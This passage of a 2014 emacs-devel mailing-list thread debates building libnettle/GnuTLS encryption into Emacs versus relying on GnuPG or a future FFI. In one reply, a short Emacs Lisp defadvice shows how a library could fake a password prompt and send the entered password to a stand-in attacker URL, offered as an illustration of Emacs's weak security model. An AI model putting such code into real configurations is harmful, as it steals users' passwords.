Wherein I argue for the inclusion of libnettle in Emacs 24.5

Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Lars Ingebrigtsen]

Ted posted a patch to give Emacs native encryption support a few months
back:

http://permalink.gmane.org/gmane.comp.encryption.nettle.bugs/736

It was rejected because Stefan thinks that we should wait until we have
FFI support in Emacs, and it should be implemented that way.

I'm going to argue that 1) I don't think we should wait, and 2) FFI
isn't that great, anyway.

We Shouldn't Wait
=================

Using encryption from Emacs is pretty awkward now.  GnuPG 2.0 has
shifted to a model where the applications themselves can't feed any
passwords into the GnuPG programs -- they always ask for the passwords
themselves, or rely on the user having started a gpg daemon that will
handle the password storage.

I've started writing a new thing for Gnus that is basically Dropbox +
newsrc storage via IMAP:

http://lars.ingebrigtsen.no/2014/02/01/emacs-cloud/

The idea is that you should be able to say `M-x gnus' on a brand new
laptop, answer a few questions, and then your entire setup is
replicated.  And you can move back and forth between different machines
pretty seamlessly.

This means pushing data that might be sensitive over the network, and
storing it in IMAP folders.  So we need encryption.  Since we're pushing
updates pretty regularly, we need to encrypt smaller chunks.  Asking for
a password every single time would make this impossible to use.

If we required the user to run a gpg daemon, that would help, but it's
awkward to have to do that, and it's not supported on all OS-es.

If Emacs had native support for encryption, this would be trivial to handle.

And in these days of greater security vigilance (not only the NSA stuff,
but an ever-larger number of data breaches), not providing proper
encryption to these data stores would be irresponsible, I think.

Of course, the Emacs Cloud stuff isn't the only thing that could do with
encryption.  The original use case Ted had -- storing credentials in a
more opaque manner -- is still as relevant as ever.

And I'd just like to remind everybody here that adding encryption
support won't bring in any further library dependencies.  This is all
already brought into the Emacs builds by the gnutls support.  So it's
all "for free".

FFI Isn't That Great Anyway
===========================

My experiences with FFI comes from using it under proprietary Common
Lisp environments.  There it's absolutely necessary.

But it's necessary because it's a proprietary environment.  If we're in
the Free World, as we definitely are in Emacs, linking with the
libraries using the normal ways and means are always superior.

If you're interfacing with a library like crypt(3), FFI is fine.  You
have a function that takes a couple of strings, and you get one string
back.  All FFI converters do that fine.  But, unfortunately, that's
often all they do.

Real C libraries often have gnarly error reporting conventions,
callbacks, weird data structures, etc, etc.  In my Common Lisp
experiences, I've sometimes found that I can either write a 200 line
monstrosity in the FFI framework, or I can write a seven line C program
that calls the library it's supposed to be called.

So Stefan suggest just making these C shims be part of the FFI thing,
and we'll just distribute packages with some C code included.  Which
would then have to be compiled.

It's a possibly solution, but many systems don't ship with C compilers,
so this would drastically reduce the uptake of the packages.

There are other problems with allowing "third party" binary packages
into Emacs, too.  We'll get further incomprehensible segfaults reported,
which we probably can't do much about.

Emacs doesn't have a formal stable "internal ABI", anyway.  Experiences
from other projects that have tried to allow binary plugins (like gcc)
seem to show that that's not the way to go, either.  If you allow binary
modules to be inserted, they aren't that useful unless you lock down
your internal ABIs.  And I think that would be a hindrance to further
Emacs development.

So, To Sum Up
=============

1) Carthage should be destroyed
2) Emacs should support encryption as soon as possible to best handle
   the security needs of our users
4) FFI is nice for proprietary products, but sub-optimal for free software


-- 
(domestic pets only, the antidote for overdose, milk.)
  bloggy blog http://lars.ingebrigtsen.no/

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stefan Monnier]

> Emacs doesn't have a formal stable "internal ABI", anyway.

For purposes of providing encryption "subroutines", Emacs's API
has been pretty stable in this respect.  I might even claim that the ABI
has been pretty stable as well.

> 1) Carthage should be destroyed

We all agree so far.

> 4) FFI is nice for proprietary products, but sub-optimal for free software

Linking Emacs at compile-time with all the libraries someone might
potentially want to use at some point, leads for example to a Debian
package that depends on umpteen libraries.  It also forces people to
come and lobby here for each one of those libraries since it can only be
added to the core, thus slowing down the whole process.

The argument that "many systems don't ship with C compilers" is not
a good reason: that's just part of the problems that need to be solved
(and can be solved) when designing that FFI.  I.e. the question is not
"can we solve it" but "how are we going to solve it".

> If you allow binary modules to be inserted, they aren't that useful
> unless you lock down your internal ABIs.

As mentioned, a large part of that ABI has been very stable over
the years.  And we wouldn't need to freeze it for ever (e.g. require
a recompile when going from Emacs-23 to Emacs-24).

> And I think that would be a hindrance to further Emacs development.

The current situation is a hindrance to Emacs development.  An FFI is
not a panacea, of course, but it at least opens up new opportunities.


        Stefan

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Mon, 03 Feb 2014 22:21:50 -0500 Stefan Monnier <monnier@iro.umontreal.ca> wrote: 

>> 4) FFI is nice for proprietary products, but sub-optimal for free software

SM> Linking Emacs at compile-time with all the libraries someone might
SM> potentially want to use at some point, leads for example to a Debian
SM> package that depends on umpteen libraries.  It also forces people to
SM> come and lobby here for each one of those libraries since it can only be
SM> added to the core, thus slowing down the whole process.
...
SM> The current situation is a hindrance to Emacs development.  An FFI is
SM> not a panacea, of course, but it at least opens up new opportunities.

Encryption is not an optional feature, it's a part of the security model
(of which Emacs has very little, as a language and as a platform).
Without secure primitives we'll forever have the foregone conclusion
that the Lisp evaluator can't be secure.  In other words, it's really
hard to make software optionally secure.

So I'll argue that GnuTLS and its dependencies, libnettle+libhogweed,
should not be optional libraries.  Loosely coupling encryption
facilities to the Emacs core is an implicit security risk, however
stable the FFI.

As long as Stefan and others see encryption as "just another feature"
I'm afraid this is an argument I can't win, so I've agreed to wait for
FFI and help implement it.  But it bothers me very much.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Mon, 03 Feb 2014 14:36:42 -0800 Lars Ingebrigtsen <larsi@gnus.org> wrote: 

LI> Ted posted a patch to give Emacs native encryption support a few months
LI> back:

LI> http://permalink.gmane.org/gmane.comp.encryption.nettle.bugs/736

Just a note for context: most of the patch and effort was in acceptance
tests which will be useful regardless of the underlying glue; the
complex RSA+DSA facilities were not done yet; and I am still not sure if
I should use the GnuTLS API or libnettle+libhogweed directly for the
primitives.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

Ted Zlatanov writes:

 > Encryption is not an optional feature, it's a part of the security
 > model (of which Emacs has very little, as a language and as a platform).

Precisely.  You've just explained in two lines why you're going to
lose this battle.

Until Emacs *has* a security model, as a language or as a platform,
encryption *is* "just a feature".  Without that, your best bet is to
sign on with larsi's "it's a f---ing important f---ture, g-------t!"
line.

I-don't-expect-you-to-listen-or-understand-but-may-as-well-try-ly y'rs,

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Paul Eggert]

Ted Zlatanov wrote:

> I am still not sure if I should use the GnuTLS API or
> libnettle+libhogweed directly for the primitives.

Using the GnuTLS API would remove Stefan's objection to the change, no? 
  Emacs already depends on the GnuTLS API.

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Tue, 04 Feb 2014 08:27:19 -0800 Paul Eggert <eggert@cs.ucla.edu> wrote: 

PE> Ted Zlatanov wrote:
>> I am still not sure if I should use the GnuTLS API or
>> libnettle+libhogweed directly for the primitives.

PE> Using the GnuTLS API would remove Stefan's objection to the change,
PE> no? Emacs already depends on the GnuTLS API.

No, sadly, because it's new C glue code and his goal is to remove such.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Tue, 04 Feb 2014 23:44:14 +0900 "Stephen J. Turnbull" <stephen@xemacs.org> wrote: 

SJT> Ted Zlatanov writes:
>> Encryption is not an optional feature, it's a part of the security
>> model (of which Emacs has very little, as a language and as a platform).

SJT> Precisely.  You've just explained in two lines why you're going to
SJT> lose this battle.

SJT> Until Emacs *has* a security model, as a language or as a platform,
SJT> encryption *is* "just a feature".  Without that, your best bet is to
SJT> sign on with larsi's "it's a f---ing important f---ture, g-------t!"
SJT> line.

Thanks for explaining.

SJT> I-don't-expect-you-to-listen-or-understand-but-may-as-well-try-ly y'rs,

That's very kind of you.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Paul Eggert]

On 02/04/2014 10:32 AM, Ted Zlatanov wrote:
> PE> Using the GnuTLS API would remove Stefan's objection to the change,
> PE> no? Emacs already depends on the GnuTLS API.
>
> No, sadly, because it's new C glue code and his goal is to remove such.

As I understand it his objection is to adding dependencies on new 
libraries, not to more-effectively using libraries that Emacs already 
depends on.  For example, he didn't object to adding 
internal-default-process-filter or to bool-vector-count-population, even 
though these functions both involved new C glue code.

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Tue, 04 Feb 2014 11:04:51 -0800 Paul Eggert <eggert@cs.ucla.edu> wrote: 

PE> On 02/04/2014 10:32 AM, Ted Zlatanov wrote:
PE> Using the GnuTLS API would remove Stefan's objection to the change,
PE> no? Emacs already depends on the GnuTLS API.
>> 
>> No, sadly, because it's new C glue code and his goal is to remove such.

PE> As I understand it his objection is to adding dependencies on new
PE> libraries, not to more-effectively using libraries that Emacs already
PE> depends on.  For example, he didn't object to adding
PE> internal-default-process-filter or to bool-vector-count-population,
PE> even though these functions both involved new C glue code.

Well, here's the rejection letter:
http://permalink.gmane.org/gmane.emacs.devel/163980

As I said then, feel free to add your vote of support.  So far Lars and
I are the only ones asking for encryption that doesn't require calling
out to external binaries like GnuPG.  I followed up to Lars specifically
so I could explain that I thought (after a few months of letting things
rest) that loose coupling of *encryption* features specifically was a
bad idea.  Compared to, say, XML parsing, encryption is much less of a
feature and more of an integral facility.

I respect and understand Stefan's opinion and have not argued about the
FFI in general (in fact I was planning to work on it; it's a neat
feature), but I think Lars makes good points against FFI from practical
experience, and I think my point above is worth considering as well.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Paul Eggert]

On 02/04/2014 12:11 PM, Ted Zlatanov wrote:
> Well, here's the rejection letter:
> http://permalink.gmane.org/gmane.emacs.devel/163980
>
> As I said then, feel free to add your vote of support.

I don't see his email as rejecting entirely the idea of having Emacs C 
code invoke GnuTLS functionsthat it doesn't already invoke.  It's more 
that it's a negative (a tighter coupling between Emacs and GnuTLS), that 
could be overcome by other positives (more functionality that's actually 
useful).

Do you have some clear and convincing use-cases?  That seemed to be his 
first objection.

For example, would it help the performance of secure-hash considerably 
if it used the GnuTLS API to do checksums?  If we did that in Gnulib, 
the maintenance overhead to Emacs proper would be essentially zero, and 
the integration hassles for Emacs users would be no greater than they 
are now (since Emacs already uses GnuTLS if available).  For which 
real-life use-cases would this help?

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Lars Ingebrigtsen]

Ted Zlatanov <tzz@lifelogs.com> writes:

> I followed up to Lars specifically so I could explain that I thought
> (after a few months of letting things rest) that loose coupling of
> *encryption* features specifically was a bad idea.

Yeah, I think that's an important point.  Encryption is, I think,
especially fiddly to get right.  That is, there are plenty of projects
that have gotten it wrong over the years.  Using the C interfaces in the
intended way would help a bit.

-- 
(domestic pets only, the antidote for overdose, milk.)
  bloggy blog http://lars.ingebrigtsen.no/

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Lars Ingebrigtsen]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> Linking Emacs at compile-time with all the libraries someone might
> potentially want to use at some point, leads for example to a Debian
> package that depends on umpteen libraries. 

Well, I don't think many people are arguing for linking Emacs against
everything that everybody might possibly want.  At least I'm certainly
not.

The past few years I've argued for a few, and they've all been "free"
(i.e., they have not added the number of dependencies, since other
libraries already pulled them in (libxml, decompress)) and because we
had clear usages for them (parsing HTML, supporting HTTP).

Adding native encryption support is in the same category: It does not
add more dependencies, and we have a clear use case for it (making
.authinfo more secure, supporting cloud functionality).

-- 
(domestic pets only, the antidote for overdose, milk.)
  bloggy blog http://lars.ingebrigtsen.no/

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Tue, 04 Feb 2014 13:46:35 -0800 Paul Eggert <eggert@cs.ucla.edu> wrote: 

PE> On 02/04/2014 12:11 PM, Ted Zlatanov wrote:
>> Well, here's the rejection letter:
>> http://permalink.gmane.org/gmane.emacs.devel/163980
>> 
>> As I said then, feel free to add your vote of support.

PE> I don't see his email as rejecting entirely the idea of having Emacs C
PE> code invoke GnuTLS functionsthat it doesn't already invoke.  It's more
PE> that it's a negative (a tighter coupling between Emacs and GnuTLS),
PE> that could be overcome by other positives (more functionality that's
PE> actually useful).

Yes, the thread went on from there (see
http://comments.gmane.org/gmane.emacs.devel/163906 for the start of it).

PE> Do you have some clear and convincing use-cases?  That seemed to be
PE> his first objection.

I wrote plenty in the thread.  I got no votes of support and Stefan
thought my use cases were too abstract.  Now Lars has stated a specific
use case, which will perhaps convince more people.

PE> For example, would it help the performance of secure-hash considerably
PE> if it used the GnuTLS API to do checksums?  If we did that in Gnulib,
PE> the maintenance overhead to Emacs proper would be essentially zero,
PE> and the integration hassles for Emacs users would be no greater than
PE> they are now (since Emacs already uses GnuTLS if available).  For
PE> which real-life use-cases would this help?

It could help that libnettle and libhogweed have some well-optimized
hashing code.  At least MD5 and SHA1 checksums are used all over the
place in Emacs packages.  But we have our own implementations for those
in Emacs, so I don't think hashing makes for a convincing use case.

The interesting primitives are HMAC+PBKDF2; the Nettle ciphers applied
in CBC, ECB, and CTR modes; and the public key algorithms (RSA, DSA,
ECDSA).  Those are the building blocks I'd like.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stefan Monnier]

> The past few years I've argued for a few, and they've all been "free"

They look free on the surface, but they're not free.

I want to move this outside the core, specifically so these things can
develop much more rapidly.

> (i.e., they have not added the number of dependencies, since other
> libraries already pulled them in (libxml, decompress)) and because we

These are not always automatically pulled in.  In many configurations
they are, but not all.  So I relented, but it's a slippery slope.
We need to look further than the next little step.


        Stefan


PS: for your immediate problem: let your tool assume some gpg-agent is
used and move on.  If such an agent is not available, that's a problem
in itself, regardless of what Emacs does, so other people should solve
it (and if noone solves it, then it's probably not worth our time trying
to solve it for them).

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Lars Ingebrigtsen]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> PS: for your immediate problem: let your tool assume some gpg-agent is
> used and move on.  If such an agent is not available, that's a problem
> in itself, regardless of what Emacs does, so other people should solve
> it (and if noone solves it, then it's probably not worth our time trying
> to solve it for them).

Well, other people solve this problem by using, say, Firefox, which does
have access to encryption primitives...

-- 
(domestic pets only, the antidote for overdose, milk.)
  bloggy blog http://lars.ingebrigtsen.no/

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Daiki Ueno]

Lars Ingebrigtsen <larsi@gnus.org> writes:

> Encryption is, I think, especially fiddly to get right.  That is,
> there are plenty of projects that have gotten it wrong over the years.
> Using the C interfaces in the intended way would help a bit.

I don't know what exactly you mean with "encryption", but real world
use-cases of encryption are not that simple.  Even for symmetric
encryption, you will probably need to consider secret key derivation,
padding, etc.  Using the C interfaces for them in the intended way would
be fiddly to get right.

GPG implements a good set of those already, in an interoperable way.  On
the other hand, who will trust such encrypting code written by a guy
with no crypto/security background?

> That is, there are plenty of projects that have gotten it wrong over
> the years.

As far as I know, only projects that have gotten problems with EPG were
written by the same author who never try to understand the concepts of
EPG/GPG and repeatedly pushes his own fancy crypto ideas with
hypothetical use-cases.
-- 
Daiki Ueno

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Tue, 04 Feb 2014 21:28:00 -0500 Stefan Monnier <monnier@iro.umontreal.ca> wrote: 

>> The past few years I've argued for a few, and they've all been "free"
SM> They look free on the surface, but they're not free.

Users' time is not free either.  When you make them set up
infrastructure, install programs, learn other tools, and so on, that's a
burden too, and I think it's dishonest to say only developers' time
matters.

You wanted use cases, you got them.  At this point your objection to
using more of the GnuTLS API seems to be "because I want FFI."  You'll
get it, and I'll work on it.  I just think FFI is the wrong way to bring
in the GnuTLS ciphers and hashes.

SM> I want to move this outside the core, specifically so these things can
SM> develop much more rapidly.

Please see my objection to loose coupling of encryption primitives in
particular.  They are not regular features and they won't change often
at all.  This is a very low-risk addition to the core.

On Wed, 05 Feb 2014 14:11:59 +0900 Daiki Ueno <ueno@gnu.org> wrote: 

DU> On the other hand, who will trust such encrypting code written by a
DU> guy with no crypto/security background?
...
DU> As far as I know, only projects that have gotten problems with EPG were
DU> written by the same author who never try to understand the concepts of
DU> EPG/GPG and repeatedly pushes his own fancy crypto ideas with
DU> hypothetical use-cases.

Right.  Shelling out to an external binary every time you want to verify
a package's signature or want to encrypt/decrypt/sign data makes perfect
sense.

Blindly entering your passphrase in an anonymous popup that says it's
from the GnuPG agent is how things are done.

Trusting loosely coupled components is standard industry practice.

Forcing users to do all of that, or "no encryption for you" is for their
own good, on every platform where Emacs runs, from Android to W32 to Mac
OS X to many flavors of Unix.  Users are just too stupid to decide these
things on their own.

Is that how experts with a crypto/security background do it?  I'm
understanding now.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

Ted Zlatanov writes:

 > Right.  Shelling out

Fine point: no need for a shell, and it's almost certainly preferable
not use a shell.

 > to an external binary every time you want to verify a package's
 > signature or want to encrypt/decrypt/sign data makes perfect sense.

Obviously not perfect, since at least one person in the world doesn't
get it.  Nevertheless, the GPG developers apparently think it does
make good sense, since they've made a point of making it difficult to
do otherwise.

 > Blindly entering your passphrase in an anonymous popup that says
 > it's from the GnuPG agent is how things are done.

Not relevant in the sense that it could be done with an anonymous
popup that says it's from Emacs, too.

 > Trusting loosely coupled components is standard industry practice.

Trust and coupling are not in any particular relationship.  Viz. the
fundamental design of Qmail and Postfix, which are two MTAs designed
by acknowledged security experts.

 > Forcing users to do all of that, or "no encryption for you" is for
 > their own good, on every platform where Emacs runs, from Android to
 > W32 to Mac OS X to many flavors of Unix.  Users are just too stupid
 > to decide these things on their own.

Stupid, no, but there's a lot of evidence that they are ignorant
(including many developers incorporating security features in their
products), and that even experienced experts are oversight- and even
mistake-prone in this area.  Do you claim that that evidence is no
longer relevant?

 > Is that how experts with a crypto/security background do it?

Some of them (the GPG developers) do, for sure.

To summarize, I just don't find your arguments that GPG is a poor
solution from the security viewpoint plausible.  OTOH, libnettle would
be a neat feature, but I personally don't find a compelling necessity
for it.  larsi's use case seems pretty strong to me, but not enough so
that I'd go against Stefan's gut feeling on the matter.

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Daiki Ueno]

Ted Zlatanov <tzz@lifelogs.com> writes:

> Please see my objection to loose coupling of encryption primitives in
> particular.

Didn't I post a link to the idea of this loose coupling?  It is mainly
for security reasons.  For example, there's usually a limit of secure
memory and it makes sense to do all the secret key operation in a
minimal core (gpg-agent) to utilize it.

I don't think you can provide the same level of security using
encryption primitives within Emacs.

> Right.  Shelling out to an external binary every time you want to verify
> a package's signature or want to encrypt/decrypt/sign data makes perfect
> sense.

At least it works at acceptable performance now.

> Blindly entering your passphrase in an anonymous popup that says it's
> from the GnuPG agent is how things are done.

This could be fixed.  Sounds definitely easier than importing plenty of
crypto primitives from a C library.

> Trusting loosely coupled components is standard industry practice.

See above.

> Forcing users to do all of that, or "no encryption for you" is for their
> own good, on every platform where Emacs runs, from Android to W32 to Mac
> OS X to many flavors of Unix.  Users are just too stupid to decide these
> things on their own.

I don't get it.  Are there any platforms where Emacs work, while GPG
does not?

> Is that how experts with a crypto/security background do it?  I'm
> understanding now.

Better than letting you write encryption code for me.

Case study (sorry Jose):
https://lists.gnu.org/archive/html/bug-recutils/2012-04/msg00001.html

I can easily imagine you will make similar (or more serious) mistakes
here and there, once crypto primitives are available.
-- 
Daiki Ueno

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Wed, 05 Feb 2014 17:13:29 +0900 "Stephen J. Turnbull" <stephen@xemacs.org> wrote: 
On Wed, 05 Feb 2014 17:19:13 +0900 Daiki Ueno <ueno@gnu.org> wrote: 

SJT> Ted Zlatanov writes:
>> Right.  Shelling out

SJT> Fine point: no need for a shell, and it's almost certainly preferable
SJT> not use a shell.

>> to an external binary every time you want to verify a package's
>> signature or want to encrypt/decrypt/sign data makes perfect sense.

SJT> Obviously not perfect, since at least one person in the world doesn't
SJT> get it.  Nevertheless, the GPG developers apparently think it does
SJT> make good sense, since they've made a point of making it difficult to
SJT> do otherwise.

DU> At least it works at acceptable performance now.

It's not acceptable to me, but then again I'm not a crypto/security-expert.

>> Blindly entering your passphrase in an anonymous popup that says
>> it's from the GnuPG agent is how things are done.

SJT> Not relevant in the sense that it could be done with an anonymous
SJT> popup that says it's from Emacs, too.

The minibuffer is much harder to fake than a popup.  Furthermore, you
don't know *which* passphrase is being requested, so at the very least
it can be annoying.  Oh, I know, we'll add --with-pinentry-title and
--with-pinentry-message flags.  Christ.

DU> This could be fixed.  Sounds definitely easier than importing plenty of
DU> crypto primitives from a C library.

It doesn't have to be an exclusive choice, and I'm not asking anyone to
do the work on either side.

>> Trusting loosely coupled components is standard industry practice.

SJT> Trust and coupling are not in any particular relationship.  Viz. the
SJT> fundamental design of Qmail and Postfix, which are two MTAs designed
SJT> by acknowledged security experts.

qmail and Postfix are system applications that run as daemons.
Completely different from Emacs.  Emacs is more like Firefox or Chrome
with their embedded Javascript engines and layout renderers, as Lars
pointed out.  Those applications tend to use the platform's keychain
facilities and do the crypto work internally.

DU> Didn't I post a link to the idea of this loose coupling?  It is mainly
DU> for security reasons.  For example, there's usually a limit of secure
DU> memory and it makes sense to do all the secret key operation in a
DU> minimal core (gpg-agent) to utilize it.

DU> I don't think you can provide the same level of security using
DU> encryption primitives within Emacs.

Not currently, sure.  But at this point you're the one arguing
hypotheticals.

>> Forcing users to do all of that, or "no encryption for you" is for
>> their own good, on every platform where Emacs runs, from Android to
>> W32 to Mac OS X to many flavors of Unix.  Users are just too stupid
>> to decide these things on their own.

SJT> Stupid, no, but there's a lot of evidence that they are ignorant
SJT> (including many developers incorporating security features in their
SJT> products), and that even experienced experts are oversight- and even
SJT> mistake-prone in this area.  Do you claim that that evidence is no
SJT> longer relevant?

I don't think you can justify taking away the freedom to choose because
it might be misused.

DU> I don't get it.  Are there any platforms where Emacs work, while GPG
DU> does not?

Please don't turn my point into a debate about why can't I "just use
GnuPG."  I'm asking to have a choice.  It doesn't mean I don't
understand what EPA/EPG and GnuPG offer, or that I don't like them, or
that I don't use them.

>> Is that how experts with a crypto/security background do it?

SJT> Some of them (the GPG developers) do, for sure.

DU> Better than letting you write encryption code for me.

I plan to write integration code mostly, which is not as risky.  But you
make a good point: *you're* the only one writing such code for Emacs
users.  Could you be biased in favor of your own code?

DU> Case study (sorry Jose):
DU> https://lists.gnu.org/archive/html/bug-recutils/2012-04/msg00001.html

DU> I can easily imagine you will make similar (or more serious) mistakes
DU> here and there, once crypto primitives are available.

If only there were experts among us and I would allow my code to be
reviewed!

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[andres.ramirez]

At Wed, 05 Feb 2014 08:41:31 -0500,
Ted Zlatanov wrote:
> 
> On Wed, 05 Feb 2014 17:13:29 +0900 "Stephen J. Turnbull" <stephen@xemacs.org> wrote: 
> On Wed, 05 Feb 2014 17:19:13 +0900 Daiki Ueno <ueno@gnu.org> wrote: 
> 
> SJT> Ted Zlatanov writes:
> >> Right.  Shelling out
> 
> SJT> Fine point: no need for a shell, and it's almost certainly preferable
> SJT> not use a shell.
> 
> >> to an external binary every time you want to verify a package's
> >> signature or want to encrypt/decrypt/sign data makes perfect sense.
> 
> SJT> Obviously not perfect, since at least one person in the world doesn't
> SJT> get it.  Nevertheless, the GPG developers apparently think it does
> SJT> make good sense, since they've made a point of making it difficult to
> SJT> do otherwise.
> 
> DU> At least it works at acceptable performance now.
> 
> It's not acceptable to me, but then again I'm not a crypto/security-expert.
> 
> >> Blindly entering your passphrase in an anonymous popup that says
> >> it's from the GnuPG agent is how things are done.
> 
> SJT> Not relevant in the sense that it could be done with an anonymous
> SJT> popup that says it's from Emacs, too.
> 
> The minibuffer is much harder to fake than a popup.  Furthermore, you
> don't know *which* passphrase is being requested, so at the very least
> it can be annoying.  Oh, I know, we'll add --with-pinentry-title and
> --with-pinentry-message flags.  Christ.

We have here a different use case. Sometimes. I need to work remotely
(emacs on tty), The remote machine has 128 Mb of
memory. After opening 30 tabs on emacs-w3m. Emacs starts to behave very
slowly. Then I need to restart the emacs session (after restarting emacs
gets speedy again). How am i suppose to fill up the popup remotely?.

> 
> DU> This could be fixed.  Sounds definitely easier than importing plenty of
> DU> crypto primitives from a C library.
> 
> It doesn't have to be an exclusive choice, and I'm not asking anyone to
> do the work on either side.
> 
> >> Trusting loosely coupled components is standard industry practice.
> 
> SJT> Trust and coupling are not in any particular relationship.  Viz. the
> SJT> fundamental design of Qmail and Postfix, which are two MTAs designed
> SJT> by acknowledged security experts.
> 
> qmail and Postfix are system applications that run as daemons.
> Completely different from Emacs.  Emacs is more like Firefox or Chrome
> with their embedded Javascript engines and layout renderers, as Lars
> pointed out.  Those applications tend to use the platform's keychain
> facilities and do the crypto work internally.
> 
> DU> Didn't I post a link to the idea of this loose coupling?  It is mainly
> DU> for security reasons.  For example, there's usually a limit of secure
> DU> memory and it makes sense to do all the secret key operation in a
> DU> minimal core (gpg-agent) to utilize it.
> 
> DU> I don't think you can provide the same level of security using
> DU> encryption primitives within Emacs.
> 
> Not currently, sure.  But at this point you're the one arguing
> hypotheticals.
> 
> >> Forcing users to do all of that, or "no encryption for you" is for
> >> their own good, on every platform where Emacs runs, from Android to
> >> W32 to Mac OS X to many flavors of Unix.  Users are just too stupid
> >> to decide these things on their own.
> 
> SJT> Stupid, no, but there's a lot of evidence that they are ignorant
> SJT> (including many developers incorporating security features in their
> SJT> products), and that even experienced experts are oversight- and even
> SJT> mistake-prone in this area.  Do you claim that that evidence is no
> SJT> longer relevant?
> 
> I don't think you can justify taking away the freedom to choose because
> it might be misused.
> 
> DU> I don't get it.  Are there any platforms where Emacs work, while GPG
> DU> does not?
> 
> Please don't turn my point into a debate about why can't I "just use
> GnuPG."  I'm asking to have a choice.  It doesn't mean I don't
> understand what EPA/EPG and GnuPG offer, or that I don't like them, or
> that I don't use them.
> 
> >> Is that how experts with a crypto/security background do it?
> 
> SJT> Some of them (the GPG developers) do, for sure.
> 
> DU> Better than letting you write encryption code for me.
> 
> I plan to write integration code mostly, which is not as risky.  But you
> make a good point: *you're* the only one writing such code for Emacs
> users.  Could you be biased in favor of your own code?
> 
> DU> Case study (sorry Jose):
> DU> https://lists.gnu.org/archive/html/bug-recutils/2012-04/msg00001.html
> 
> DU> I can easily imagine you will make similar (or more serious) mistakes
> DU> here and there, once crypto primitives are available.
> 
> If only there were experts among us and I would allow my code to be
> reviewed!
> 
> Ted
> 
> 
> 
Regards

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[chad]

On 05 Feb 2014, at 05:41, Ted Zlatanov <tzz@lifelogs.com> wrote:
> qmail and Postfix are system applications that run as daemons.
> Completely different from Emacs.  Emacs is more like Firefox or Chrome
> with their embedded Javascript engines and layout renderers, as Lars
> pointed out.  Those applications tend to use the platform's keychain
> facilities and do the crypto work internally.

Are there *any* other applications (note that I did not say servers)
that use external programs for encryption? Hell, *mutt* supports
the features that Lars and Ted want. So do nmh and alpine. What
doesnt?

~Chad

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Ted Zlatanov]

On Wed, 5 Feb 2014 09:00:58 -0800 chad <yandros@gmail.com> wrote: 

c> On 05 Feb 2014, at 05:41, Ted Zlatanov <tzz@lifelogs.com> wrote:
>> qmail and Postfix are system applications that run as daemons.
>> Completely different from Emacs.  Emacs is more like Firefox or Chrome
>> with their embedded Javascript engines and layout renderers, as Lars
>> pointed out.  Those applications tend to use the platform's keychain
>> facilities and do the crypto work internally.

c> Are there *any* other applications (note that I did not say servers)
c> that use external programs for encryption? Hell, *mutt* supports
c> the features that Lars and Ted want. So do nmh and alpine. What
c> doesnt?

There are some successful applications like that.  Git uses external
credential and transport ("remote") helpers by design.  I even wrote a
netrc/authinfo helper for Git to decode a netrc .gpg file using GnuPG;
see https://github.com/git/git/tree/master/contrib/credential/netrc

I don't think any plaforms like Emacs have made the design choice to
leave encryption only to external tools.  I'm comparing it to Firefox
and Chrome; Thunderbird and the other mail clients you mentioned; and
http://docs.oracle.com/javase/6/docs/api/javax/crypto/package-tree.html
for Java.  Usually there are plugins and optional libraries to use
OpenPGP or GnuPG itself.

Ted

Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

Ted Zlatanov writes:

 > SJT> Not relevant in the sense that it could be done with an anonymous
 > SJT> popup that says it's from Emacs, too.
 > 
 > The minibuffer is much harder to fake than a popup.

Sez you.  Sez me:

(defadvice find-file (before)
  (if (= (random 1000) 42)
      (url-fetch (format "http://blackh.at/gotcherpasswordSUCKER?passwd=%s"
                         (read-passwd "Encrypted file.  Type your password:"))))

Note that it doesn't matter which library on load-path contains the
defadvice.  Great security model you got there.

 > Furthermore, you don't know *which* passphrase is being requested,
 > so at the very least it can be annoying.  Oh, I know, we'll add
 > --with-pinentry-title and --with-pinentry-message flags.  Christ.

Sure, and you have to do that with read-passwd, too (see above).  Your
point might be?

 > It doesn't have to be an exclusive choice, and I'm not asking anyone to
 > do the work on either side.

Yes, you are.  You are asking Emacs to maintain it, in a form that
Stefan would prefer *not* to install it, for a period likely to be
decades.  This is the root of Stefan's reluctance, I suppose.

 > >> Trusting loosely coupled components is standard industry practice.
 > 
 > SJT> Trust and coupling are not in any particular relationship.  Viz. the
 > SJT> fundamental design of Qmail and Postfix, which are two MTAs designed
 > SJT> by acknowledged security experts.
 > 
 > qmail and Postfix are system applications that run as daemons.
 > Completely different from Emacs.  Emacs is more like Firefox or Chrome
 > with their embedded Javascript engines and layout renderers, as Lars
 > pointed out.  Those applications tend to use the platform's keychain
 > facilities and do the crypto work internally.

As applications, yes.  But who cares?  Try, "do they expose the crypto
facilities to users of their platform (eg, Javascript)?"  That's the
